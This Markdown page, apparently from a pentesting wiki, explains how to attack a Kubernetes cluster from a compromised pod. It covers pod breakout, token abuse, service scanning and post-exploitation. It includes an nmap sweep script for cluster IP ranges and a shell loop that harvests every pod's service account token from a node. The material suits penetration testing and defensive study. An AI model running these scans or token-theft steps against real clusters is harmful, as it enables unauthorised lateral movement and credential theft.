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https://github.com/carlospolop/hacktricks
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119 lines
4.5 KiB
Markdown
119 lines
4.5 KiB
Markdown
# Attacking Kubernetes from inside a Pod
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## **Pod Breakout**
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**If you are lucky enough you may be able to escape from it to the node:**
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### Escaping from the pod
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In order to try to escape from the pos you might need to **escalate privileges** first, some techniques to do it:
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{% content-ref url="../../linux-unix/privilege-escalation/" %}
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[privilege-escalation](../../linux-unix/privilege-escalation/)
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{% endcontent-ref %}
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You can check this **docker breakouts to try to escape** from a pod you have compromised:
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{% content-ref url="../../linux-unix/privilege-escalation/docker-breakout/" %}
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[docker-breakout](../../linux-unix/privilege-escalation/docker-breakout/)
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{% endcontent-ref %}
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### Abusing Kubernetes Privileges
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As explained in the section about **kubernetes enumeration**:
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{% content-ref url="enumeration-from-a-pod.md" %}
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[enumeration-from-a-pod.md](enumeration-from-a-pod.md)
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{% endcontent-ref %}
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Usually the pods are run with a **service account token** inside of them. This service account may have some **privileges attached to it** that you could **abuse** to **move** to other pods or even to **escape** to the nodes configured inside the cluster. Check how in:
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{% content-ref url="hardening-roles-clusterroles.md" %}
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[hardening-roles-clusterroles.md](hardening-roles-clusterroles.md)
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{% endcontent-ref %}
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### Abusing Cloud Privileges
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If the pod is run inside a **cloud environment** you might be able to l**eak a token from the metadata endpoint** and escalate privileges using it.
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## Search vulnerable network services
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As you are inside the Kubernetes environment, if you cannot escalate privileges abusing the current pods privileges and you cannot escape from the container, you should **search potential vulnerable services.**
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### Services
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**For this purpose, you can try to get all the services of the kubernetes environment:**
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```
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kubectl get svc --all-namespaces
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```
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### Scanning
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The following Bash script (taken from a [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s\_cheatsheet.md)) will install and scan the IP ranges of the kubernetes cluster:
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```bash
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sudo apt-get update
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sudo apt-get install nmap
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nmap-kube ()
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{
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nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
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}
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nmap-kube-discover () {
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local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
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local SERVER_RANGES=" ";
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SERVER_RANGES+="10.0.0.1 ";
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SERVER_RANGES+="10.0.1.* ";
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SERVER_RANGES+="10.*.0-1.* ";
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nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
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}
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nmap-kube-discover
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```
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Check out the following page to learn how you could **attack Kubernetes specific services** to **compromise other pods/all the environment**:
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{% content-ref url="pentesting-kubernetes-from-the-outside.md" %}
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[pentesting-kubernetes-from-the-outside.md](pentesting-kubernetes-from-the-outside.md)
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{% endcontent-ref %}
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### Sniffing
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In case the **compromised pod is running some sensitive service** where other pods need to authenticate you might be able to obtain the credentials send from the other pods.
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## Automatic Tools
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* [https://github.com/inguardians/peirates](https://github.com/inguardians/peirates)
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## Node Post-Exploitation
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If you managed to **escape from the container** there are some interesting things you will find in the node:
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* The **Container Runtime** process (Docker)
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* More **pods/containers** running in the node you can abuse like this one (more tokens)
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* The whole **filesystem** and **OS** in general
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* The **Kube-Proxy** service listening
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* The **Kubelet** service listening: Check `/var/lib/kubelet/` specially `/var/lib/kubelet/kubeconfig`
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```bash
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# Check Kubelet privileges
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kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system
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# Steal the tokens from the pods running in the node
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## The most interesting one is probably the one of kube-system
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ALREADY="IinItialVaaluE"
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for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
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TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
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if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
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ALREADY="$ALREADY|$TOKEN"
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echo "Directory: $i"
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echo "Namespace: $(cat $i)"
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echo ""
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echo $TOKEN
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echo "================================================================================"
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echo ""
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fi
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done
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```
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